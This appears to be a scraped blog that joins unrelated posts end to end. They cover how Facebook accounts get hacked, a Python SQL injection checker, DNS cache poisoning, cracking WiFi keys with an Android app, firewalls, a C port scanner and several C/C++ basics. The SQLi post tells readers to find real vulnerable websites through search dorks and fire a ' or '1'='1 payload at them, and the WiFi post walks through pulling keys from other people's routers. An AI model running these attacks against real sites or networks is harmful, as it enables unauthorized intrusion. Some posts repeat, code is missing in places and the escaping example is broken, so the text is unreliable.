9 Ways Hackers Hack Your Facebook Account and How to prevent it

Hackers use various methods for hacking a facebook account password of victim. Today I tell you what type of methods hackers are using for hacking a facebook account and how can you prevent yourself from these hacks.

1. Facebook Phishing

Phishing is one of the most popular ways for hacking a facebook account. In Phishing, the hacker creates a fake login page or create a clone of facebook login page that looks like the real facebook page. In the next step facebook, hacker asks the victim to log in through the fake phishing web page, victim username and password stored in a hacker computer.

phishing-facebook-768x426

How to Protect yourself from Facebook Phishing

  • Never login your facebook account on another computer.
  • Always avoid emails that ask you to log in your facebook account in the new tab.
  • Never open any spammy links that give by your friend in the message box or by SMS.
  • Always use Chrome browser, chrome identifies the phishing page.
  • Use Antivirus in your computer.
  • Make sure you are on facebook.com and double-check the web address.

2. Keylogging

Keylogging is one of the easiest ways to hack a password of the facebook account. Keylogger is a small software or program which installed in a victim computer and this program record everything which victim type in his computer.

How to Protect yourself from Keyloggers

  • Install a good antivirus in your computer.
  • Never open your facebook account on another computer.
  • Always download free software from trusted websites
  • Never download or get a software from untrusted sources.
  • Always scan a pen drive for virus

3. View Saved Password from Browser

Like you know whenever we login new account in our browser, the browser asks to save this username and password in the computer. Anyone can hack your facebook account from view your facebook password in your browser.

Just go this URL and you see username and password in your chrome browser.

chrome://settings/passwords

How to Protect yourself from this Hack

  • Never save your login password in your web browser.
  • Secure your chrome browser with the password.
  • Always use the strong password in your Computer.

4. Mobile Phone Hacking

Generally, we reset our facebook password from our mobile phone. What if someone install monitor apps in our phone. With monitor apps, hackers can access and read your all sms and he can easily reset your facebook password in just seconds.

How to Protect yourself from Facebook Mobile Phone Hacking

  • Always install a good antivirus in your mobile phone.
  • Never install unknown apps in your phone.
  • Always check your phone for suspicous apps

5. Social Engineering

Social Engineering is simple attack made by hacker, in this method hacker can collect information about victim as much as he can from various methods. If victim uses simple password like his birthday date, mobile number, school name, girlfriend name and bike number , a good hacker can easily guess your password and hack your facebook account.

How to Protect Yourself from Social Engineering Attack

  • Never use any simple password in your facebook account.
  • Never ever write you facebook account in any paper.
  • Many people use the same password in different websites, my advice is never to use same password for many websites.
  • Make strong password from this website Random Password Generator

6. From Hacking your Email Account

Mainly the first hacker hacks your email account then hack your facebook account from password resetting.

How to Protect yourself from Email Hacking

  • Enable 2 Step authentication in your email account. When you enable this security in your Gmail account, no one accesses your Gmail account without your mobile OTP.
  • Use strong password in your email.

7. Source Code

At facebook website login pages, you can view masked passwords (******)by changing the password input type as text from inspect element in your browser. This method works in all modern browser. Never leave your PC on with signup page. Anyone can know your facebook password from this method.

Save yourself from this Attack

  • Never save your facebook password in your web browser.

8. Tabnapping

Nowdays you can see ,you can signup and make your id on any website from your facebook account. Many websites are create a fake login page and asks you to enter your facebook username and password. In this hack a hacker creates a fake website and asks user to sign up from you facebook account.

sign-up-through-facebook-768x437

How to Protect yourself from Tabnapping

  • Avoid signup from facebok account, always use trusted websites.
  • Avoid spyware and freeware software.
  • Never play free games on untrusted websites.

9. Simple Logout Scenario

Many users never logout facebook id from the computer. Anyone can access your facebook account when you leave your computer. This is the last advice always logout our facebook account when you leave your computer alone.

How to code your first sql injection vulnerability with python

In this article we are going check if the website is vulnerable to the sql injection using a python script.

It will work if and only if the variables are using the get method.

We are currently using the python programming language

We need an internet connection and a vulnerable website.

You can easily find a website for testing using simple SQLi dorks, like inurl:”index.php?cat_id=”. You can find vulnerable site dumps over the web.

Step by step Code your first simple SQLi checking vulnerability with Python:

Before starting coding, make a new .py file.

Importing main libraries

This time we will use sys, urllib and urllib.request modules, so import those 3 by using import  sys, urllib, urllib.requestor import sys, import urllib and import urllib.request in the new line

python-simple-sqli1

Explanation: ‘import’ is used for importing libraries, such as urllib or os, system.

Selecting the input type

Now we need to select the input type, the first one is pretty simple, the other one is harder. This time we will use the first one, but it does not affect other lines of code.

1) Use input(“”) commands to get user input. This time it will be:

fullurl = input(“Please specify the full vulnerable url:  “)

python-simple-sqli2

Explanation: ‘variable = input(“Input: “)’ sets the var ‘variable’ to user input, ‘Input: ‘ is the text seen by the user at the input line.

2) Use arguments for specifying the data:

for carg in sys.argv:

if carg == “-w”:

argnum = sys.argv.index(carg)

argnum += 1

fullurl = sys.argv[argnum]

python-simple-sqli3

Explanation: ‘if’ is a well known macro stament. Right now, we are using it to determine curent arg, the other lines – indicates the second argument, ‘in’ – checks if there is a specified text in a string.

Coding the program to make an web request

This is the most important part.

resp = urllib.request.urlopen(fullurl + “=1\’ or \’1\’ = \’1\””)

body = resp.read()

fullbody = body.decode(‘utf-8’)

python-simple-sqli4

Explanation: the resp variable is set to the request response, body – to the response text, fullbody – to the decoded request text, ‘+’ is the addition variable on Python, \ is the escape character.

Making the program to check if the target is vulnerable

Now, once we have the response, we have to check if it contains SQL errors.

We will use this code for that:

if “You have an error in your SQL syntax” in fullbody:

print (“The website is classic SQL injection vulnerable!”)

else:

print (“The website is not classic SQL injection vulnerable!”)

python-simple-sqli5

Explanation: We use ‘if’ macro for checking if there’s the specified text in the response.

Scanner with first type of getting user input

python-simple-sqli6

with second type

python-simple-sqli7

So yeah, that’s it!

Save the file, open cmd and run ‘python filename.py’ and input the requested info, if you were using the second method, use ‘python filenamy.py -w website’. It will check if the site’s vulnerable 🙂

The copied code may not work, please rewrite it to your file 🙂

If you had errors in syntax

Unexpected indendity shows up when there are problems with tabs.

Problems with syntax are mostly showing up on problems with macros. If this error occured, please check your macros validity.

How to prevent simple SQL injection

Preventing SQLi ON MYSQL if very simple. Just use mysql_real_escape string for queries, as example:

$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,

                        mysql_real_escape_string($username)

                        mysql_real_escape_string($password)

Take your time to comment on this article.

What is DNS Cache Poisoning and How Does It Work ?

What Is Cache Poisoning?

Cache poisoning is a kind of attack in which corrupted data is inserted into the cache database of DNS(Domain Name System) name server. The Domain Name System ( DNS ) is a system which associates domain names with respective IP addresses. Devices which are connected to the internet or a private network rely on the DNS for resolving URLs into their corresponding IP addresses. During a DNS cache poisoning attack, malicious party sends duplicate responses from an imposter DNS  to reroute a domain name to a new IP address. The new IP address is most likely controlled by the attacker and is used to spread computer worms and other malware. Other sophisticated uses for DNS cache poisoning include denial-of-service attacks and man-in-the-middle attacks.

Cache Poisoning Attacks

Cache poisoning attacks are possible due to the existence of the exploitable vulnerabilities in DNS software.

If an attacker sent a forged or unoriginal DNS response, this duplicate response is cached by the real DNS name server. At this point, we consider the DNS cache as “poisoned.” Due to this, users that try to visit the corrupted domain will  be rerouted to the new IP address chosen by the attacker. Users will continue to receive fake IP addresses from the DNS unless the poisoned cache was cleared.

DNS cache-poisoning attacks normally use elements of social engineering to make victims  download the malware. The servers and websites which attackers use to replace the authentic IP addresses looks like legitimate  ones but they actually contain malware in disguise. Attackers’ use of social engineering along with the fact that domain names still appear normal can make it very difficult for users to detect cache poisoning attacks. As a result, victims willingly download malicious content that they believe to be valid and from trusted sources.

How to decode WPA/WEP keys using Penetrate Pro

The App Penetrate Pro is developed by Biogo Ferreria. It is an excellent App for decoding WEP/WPA WiFi Keys.

The Latest Build of the penetrate pro supports the following features.

  • Routers based on Thomson: Thomson, Infinitum, BBox, DMax, Orange, SpeedTouch, BigPond, O2Wireless, Otenet.
  • DLink
  • Eircom
  • Pirelli Discus
  • Verizon FiOS (only some routers)
  • Fastweb (Pirelli & Telsey)
  • Jazztel_XXXX and WLAN_XXXX
  • Tecom
  • Infostrada
  • SkyV1

Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you.

Requirements

Minimum of Android 2.4

How to use it

  1. Download the Penetrate Pro form this LINK
  2. Install it in your android device (Your Android Device must be rooted)
  3. When you open it you will see a window

penetrate pro

If it says “Reversible: 0 found”, you have to change the target.
Reversing the Thomson routers requires a dictionary file or you can use 3G for it.
Once you got a reversible router, you can tap on it to get the WiFi Keys (Don’t forget to enable “Get keys from the web” by going to the settings):
Penetrate Pro how to
You can copy the keys just by simply tapping on them.
Penetrate pro also has a “Manual Search” option that allows users to find keys for a particular router which is not in the main list.

How To Use Manual Search Option

 
1. First, select the “Manual search” option from the menu.
manual search
2. Select the router:
manual search 1
3. Enter the numbers at the end of the network name. Then tap on “search”.
manual search 2
4. It will display the key(s):
manual search 3
Of course, Penetrate Pro is not a sophisticated tool like Aircrack android, but it is clearly a useful tool for penetration testers.
Take your time to comment on this article.

What is A Firewall and Reasons Why You Should Use it

We all heard about firewall at some point of time, what are they used for ? Do they stop viruses?

Well actually, there is a great chance that you are now using a firewall,  if  your are running a modern OS on your computer, there is be one built in, or else your security suite will have a firewall.

But what is this firewall for? Keep reading for reasons why you do, need it.

What Is a Firewall?

Lets start it with what a firewall actually is. You should understand that there are no sparks, no flames, no fuel of any kind of that stuff involved,

A firewall is a shield or barrier which is intended to protect your PC, phone or tablet from data-based malware dangers that exist everywhere on the Internet. 

Data is usually exchanged between your computer and servers and routers in cyberspace while you are using internet, and the purpose of firewalls is to monitor this data (sent in packets) and check if they are safe or not.

Firewalls do this by establishing whether the packets meet the rules that have been set up. Depending on on these rules, packets of data are rejected or accepted.

Most operating systems (both desktop and mobile) will have a basic built-in firewall, but the best results can be seen by using a dedicated firewall application. Here are 5 reasons why you should use  a Firewall.

1. A Firewall Can Protect Your Computer From Unauthorized Remote Access

The worst thing that can happen to a computer user is someone attempting to take control of it remotely. Seeing mouse of your PC move around your monitor as a remote intruder usurps your digital world, assuming control of your personal data, is petrifying.

With a well configured firewall (and a modern OS) you will have remote desktop access disabled, and thus preventing hackers from taking charge of your computer.

2. Firewalls Can Block Messages Linking to Unwanted Content

There are still people out there running older versions of Windows(i mean very old like Windows XP). Worse part is that they are using XP without any firewall, and the built-in firewall is not enabled by default.

You read that right. The Internet has a lot of malware traversing the cyberspace, waiting to pounce on the unprotected PCs. Even though your ISP can help prevent this, it is unlikely that they will be able to in a long run.

3. Firewalls Make Online Gaming Safer

In the history of video games, online gaming is one of the most significant development and it it also a potential security risk. Many kinds of malware has been developed which targets online gamers, who use an unsecured or compromised game servers.

4. You Can Block Unsuitable Content With a Firewall

So far, we have been talking mainly about blocking hackers and other types of remote access threats like  malware, but firewalls are capable of more than just that. Apart from protecting you from ransomware directories, firewall applications also have an option to block particular online locations.

5. Firewalls Can Be Hardware or Software

As we said above, firewalls don not necessarily have to be just software. Hardware firewalls are also found in most homes, built into your router. You can access these firewalls by using the administrative credentials for the router, and once you’ve signed in you should be able to review the options and change them if necessary.

Hope you like this article, please comment your opinion below.

How to create port scanner using C programming language

There are lot of port scanners available in the internet nmap is one of the good port scanner but what if you want to make your own port scanner and you don’t know how to do it here is the C-code to create port scanner.

In the last article we have covered on how to create port scanner in python

Well we thought C-Programming has the fastest compiler at current performance rating of the compilers while the python programming is interpreted and partial of the code is executed using the JIT (Just In time Compiler) but we kinda need standlone compiler to complete the operation hence we are doing this article.

The current port scanner works on by trying to establish a connection with every port that is to be scanned and make sure the port is open or closed it is not stealthy but it can do the job.

It involves in a three way hand shake between 2-hosts hence it consumes maximum time to finish the job.

Local system ----> sends tcp syn packet -----> Remote system
Local system <---- replies with a syn+ack packet <----- Remote system
Local system ----> sends ack packet -----> Remote system

There are different scenarios of the port scanning called the “tcp syn port scanning” which established full 3 way hand shake.

Here is the program to implement the TCP connect

/*
    Port scanner code in c
*/
#include "stdio.h"
#include "sys/socket.h"
#include "errno.h"
#include "netdb.h"
#include "string.h"
#include "stdlib.h"
 
int main(int argc , char **argv)
{
    struct hostent *host;
    int err, i , sock ,start , end;
    char hostname[100];
    struct sockaddr_in sa;
     
    //Get the hostname to scan
    printf("Enter hostname or IP : ");
    gets(hostname);
     
    //Get start port number
    printf("\nEnter start port number : ");
    scanf("%d" , &start);
     
    //Get end port number
    printf("Enter end port number : ");
    scanf("%d" , &end);
 
    //Initialise the sockaddr_in structure
    strncpy((char*)&sa , "" , sizeof sa);
    sa.sin_family = AF_INET;
     
    //direct ip address, use it
    if(isdigit(hostname[0]))
    {
        printf("Doing inet_addr...");
        sa.sin_addr.s_addr = inet_addr(hostname);
        printf("Done\n");
    }
    //Resolve hostname to ip address
    else if( (host = gethostbyname(hostname)) != 0)
    {
        printf("Doing gethostbyname...");
        strncpy((char*)&sa.sin_addr , (char*)host->h_addr , sizeof sa.sin_addr);
        printf("Done\n");
    }
    else
    {
        herror(hostname);
        exit(2);
    }
     
    //Start the port scan loop
    printf("Starting the portscan loop : \n");
    for( i = start ; i <= end ; i++) 
    {
        //Fill in the port number
        sa.sin_port = htons(i);
        //Create a socket of type internet
        sock = socket(AF_INET , SOCK_STREAM , 0);
         
        //Check whether socket created fine or not
        if(sock < 0) 
        {
            perror("\nSocket");
            exit(1);
        }
        //Connect using that socket and sockaddr structure
        err = connect(sock , (struct sockaddr*)&sa , sizeof sa);
         
        //not connected
        if( err < 0 )
        {
            //printf("%s %-5d %s\r" , hostname , i, strerror(errno));
            fflush(stdout);
        }
        //connected
        else
        {
            printf("%-5d open\n",  i);
        }
        close(sock);
    }
     
    printf("\r");
    fflush(stdout);
    return(0);
}

Run the program

First compile the program using gcc. Its simple.

# gcc portscanner.c
Now run the program and provide the necessary input

# ./a.out
Enter hostname or IP : google.com

Enter start port number : 75
Enter end port number : 85
Doing gethostbyname…Done
Starting the portscan loop :
80 open
#
So the above program scanned ports 75 to 85 on google.com and found only port 80 to be open, which is the webserver port.

Take your time to comment on this article.

Difference between 1D and 2D arrays in C Programming

In all the programs we have done until now, to store and operate on values we have used variables. But at a point in time, a variable can hold only a single value. For example, in the following syntax: int a = 10; we are able to store only 10 in the variable a, which is a single value. It is normal in programming to work with a list of values or a group of values at once. For such purposes, variables cannot be used. So, C language provides the construct array for holding multiple values at once.

Definition: “An array is a sequential collection/group of homogeneous (same type) elements which are referred by the same name”. The type refers to the data types like int, char, float etc. All the elements/values in the array are of the same type (data type). We cannot store values of different data types in the same array.

Uses:

  1. To maintain a list of values.
  2. To maintain a table of values.

 

One Dimensional Array

For maintaining a list of items in C, we can declare an array with a single subscript like ai . Such arrays with only a single subscript are known as one dimensional arrays. Common uses of one dimensional arrays are: to maintain a list of numbers, to maintain the list of marks, to maintain a list of student names etc.

Declaration of one dimensional array

In the above example, int is the data type, a is the array name and size is the number of elements that we can store in the array. So, in the above example a is an integer array, which can hold 10 integer values. All the 10 elements in the array will be stored sequentially one after another inside the main memory (RAM). The one dimensional array declared above will be maintained in the memory as shown below:

one-dim-array-1

 

In the above syntax, index refers to the element in the array. The index of an array always starts with zero. So, the index values for the array a in the above example are: 0, 1, 2, 3, 4. If we want to access nth element in the array, the index value will be n-1. For example, if we want to refer first element in the array, the index value will be 1-1=0. In, the above example, we are assigning value 10 to the first element of the array. 

Note: If the array elements are not initialized, the values stored in the elements of the array will be garbage values.

Generally, there are two types of initializing an array. They are: 1) Static Initialization (at compile time) and 2) Dynamic Initialization (at run time). In static initialization, the elements of an array are assigned values when the program is compiled. In dynamic initialization, the elements of an array are assigned values when the program is executed (runtime). The above way of initialization is static initialization. We can also perform static initialization in other ways as shown below:

Two Dimensional Array

An array that has two subscripts, for example: aij is known as a two dimensional. A two dimensional array is used to store a table of values which has rows and columns. Some of the uses/applications of the two dimensional arrays are: to maintain the marks of students, to maintain prices of items etc…

Declaration of a two dimensional array

Like a one dimensional array, the two dimensional array must also be declared before using it in the program. The syntax for declaring a two dimensional array is shown below:

In the above example, int refers to the data type, a refers to the array name, first set of square brackets represents the number of rows and the second set of square brackets represents the number of columns. So, our two dimensional array contains 9 elements in total.

Initialization of a two dimensional array

A two dimensional array can be initialized in different ways either statically at compile time or dynamically at run time. The syntax for initializing a two dimensional array statically is as shown below:

2d-init-syn-1

The values will be assigned starting with the first element in the first row and so on. If insufficient values are provided, then the remaining elements will be initialized to zero. There is another way of initializing a two dimensional array in which we can specify the values for each row separately. We can see the example below:

2d-array-init-1

Your own text editor using visual c++

In article I am going to show you your own text editor using visual c++.

The following program is a Text Editor. It has been developed using Visual C++ .NET in the Visual Studio 2013 Express IDE. It can be used to work with .txt files, similar to the NotePad application which comes bundled with Windows. It provides you with ability to perform all the tasks you normally perform in a Text Editor, including printing documents. The screenshots below describe its functionality:-

Here is a Sample of source code the full source is provided in the link below

#include "MyForm.h"

using namespace System;
using namespace System::Windows::Forms;

[STAThread]
int main(array<String^>^ args) {
	Application::EnableVisualStyles();
	Application::SetCompatibleTextRenderingDefault(false);

	MicrosoftWord::MyForm form;
	Application::Run(%form);
}

We have to program a header file in order to work

 

void InitializeComponent(void)
		{
			System::ComponentModel::ComponentResourceManager^  resources = (gcnew System::ComponentModel::ComponentResourceManager(MyForm::typeid));
			this->menuStrip1 = (gcnew System::Windows::Forms::MenuStrip());
			this->fileToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->newToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->openToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->saveAsToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->printToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->printPreviewToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->closeToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->helpToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->viewHelpToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->aboutToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->microsoftWordVersion10ToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->creditsToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->thisProgramIsDesignedAndProgrammedByManishKumarToolStripMenuItem = (gcnew System::Windows::Forms::ToolStripMenuItem());
			this->textBox1 = (gcnew System::Windows::Forms::TextBox());
			this->colorDialog1 = (gcnew System::Windows::Forms::ColorDialog());
			this->fontDialog1 = (gcnew System::Windows::Forms::FontDialog());
			this->saveFileDialog1 = (gcnew System::Windows::Forms::SaveFileDialog());
			this->printDialog1 = (gcnew System::Windows::Forms::PrintDialog());
			this->printDocument1 = (gcnew System::Drawing::Printing::PrintDocument());
			this->openFileDialog1 = (gcnew System::Windows::Forms::OpenFileDialog());
			this->printPreviewDialog1 = (gcnew System::Windows::Forms::PrintPreviewDialog());
			this->menuStrip1->SuspendLayout();
			this->SuspendLayout();
			// 
			// menuStrip1
			// 
			this->menuStrip1->Items->AddRange(gcnew cli::array< System::Windows::Forms::ToolStripItem^ >(2) {
				this->fileToolStripMenuItem,
					this->helpToolStripMenuItem
			});
			this->menuStrip1->Location = System::Drawing::Point(0, 0);
			this->menuStrip1->Name = L"menuStrip1";
			this->menuStrip1->Size = System::Drawing::Size(1362, 24);
			this->menuStrip1->TabIndex = 1;
			this->menuStrip1->Text = L"menuStrip1";
			// 
			// fileToolStripMenuItem
			// 
			this->fileToolStripMenuItem->DropDownItems->AddRange(gcnew cli::array< System::Windows::Forms::ToolStripItem^ >(6) {
				this->newToolStripMenuItem,
					this->openToolStripMenuItem, this->saveAsToolStripMenuItem, this->printToolStripMenuItem, this->printPreviewToolStripMenuItem,
					this->closeToolStripMenuItem
			});

word1

word2

word3

Here is the source code for entire software : link

Take your time to comment on this article

Source:[windcodebits]

How to work with arrays in C – Programming

Arrays

In all the programs we have done until now, to store and operate on values we have used variables. But at a point in time, a variable can hold only a single value. For example, in the following syntax: int a = 10; we are able to store only 10 in the variable a, which is a single value. It is normal in programming to work with a list of values or a group of values at once. For such purposes, variables cannot be used. So, C language provides the construct array for holding multiple values at once.

Definition: “An array is a sequential collection/group of homogeneous (same type) elements which are referred by the same name”. The type refers to the data types like int, char, float etc. All the elements/values in the array are of the same type (data type). We cannot store values of different data types in the same array.

Uses:

  1. To maintain a list of values.
  2. To maintain a table of values.

 

One Dimensional Array

For maintaining a list of items in C, we can declare an array with a single subscript like ai . Such arrays with only a single subscript are known as one dimensional arrays. Common uses of one dimensional arrays are: to maintain a list of numbers, to maintain the list of marks, to maintain a list of student names etc.

Declaration of one dimensional array

For using arrays in C programs, just like we are declaring variables before using them, we should declare arrays before using them. The syntax for declaring a one dimensional array is as shown below:

array-decl

Example:

array-example

In the above example, int is the data type, a is the array name and size is the number of elements that we can store in the array. So, in the above example ais an integer array, which can hold 10 integer values. All the 10 elements in the array will be stored sequentially one after another inside the main memory (RAM). The one dimensional array declared above will be maintained in the memory as shown below:

one-dim-array

Initialization of one dimensional array

Initialization means assigning values. To assign values to the elements in the array, we use the following syntax:

array-init-syntax

Example:

array-init-example

In the above syntax, index refers to the element in the array. The index of an array always starts with zero. So, the index values for the array a in the above example are: 0, 1, 2, 3, 4. If we want to access nth element in the array, theindex value will be n-1. For example, if we want to refer first element in the array, the index value will be 1-1=0. In, the above example, we are assigning value 10 to the first element of the array. 

Note: If the array elements are not initialized, the values stored in the elements of the array will be garbage values.

Generally, there are two types of initializing an array. They are: 1) Static Initialization (at compile time) and 2) Dynamic Initialization (at run time). In static initialization, the elements of an array are assigned values when the program is compiled. In dynamic initialization, the elements of an array are assigned values when the program is executed (runtime). The above way of initialization is static initialization. We can also perform static initialization in other ways as shown below:

array-init-syn

Example:

array-init-ex

In the above example, in the first line, the size is specified as 10. But, in the second line, the size was not specified. In such cases, the size is automatically calculated. In this example, the size is automatically computed as 10 by the compiler.

In dynamic initialization, the values are assigned to the elements of the array during the execution of the program. Let’s see the following piece of code:

In the above example, the user will be storing the values into the array while executing the program. Until then, garbage values will be stored in the array.

Note: If we use braces i.e., { and }, for initializing the array, the default values for all the elements in the array will be zero.

 

Two Dimensional Array

An array that has two subscripts, for example: aij is known as a two dimensional. A two dimensional array is used to store a table of values which has rows and columns. Some of the uses/applications of the two dimensional arrays are: to maintain the marks of students, to maintain prices of items etc…

Declaration of a two dimensional array

Like a one dimensional array, the two dimensional array must also be declared before using it in the program. The syntax for declaring a two dimensional array is shown below:

2d-array-syn

Example

2d-array-ex

In the above example, int refers to the data type, a refers to the array name, first set of square brackets represents the number of rows and the second set of square brackets represents the number of columns. So, our two dimensional array contains 9 elements in total.

Initialization of a two dimensional array

A two dimensional array can be initialized in different ways either statically at compile time or dynamically at run time. The syntax for initializing a two dimensional array statically is as shown below:

2d-init-syn

Example

2d-init-ex

The memory representation of the two dimensional array will be as shown below:

2d-array-memory

The values will be assigned starting with the first element in the first row and so on. If insufficient values are provided, then the remaining elements will be initialized to zero. There is another way of initializing a two dimensional array in which we can specify the values for each row separately. We can see the example below:

2d-array-init

Take your time to comment on this article.

How to access Members of an Object in C++

After creating an object, we can access the data and functions using the dot operator as shown below:

object-name.variable-name; (or)

object-name.function-name(params-list);

 

Based on our student class example, we can access the get_details() function as shown below:

std1.get_details();

std2.get_details();

 

The complete program which demonstrates creating class, creating objects, and accessing object members is as follows:

 

In the above program class name is Student and object names are std1 and std2.

Nested Functions

 

A member function can call another member function directly without any need of dot operator. To call another member function, we can simply write the function name followed by parameter values enclosed in parentheses. An example for calling another member function is as follows:

 

In the above program, the function show_details() contains nested call to area() and peri() functions.

Take your time to comment on this article.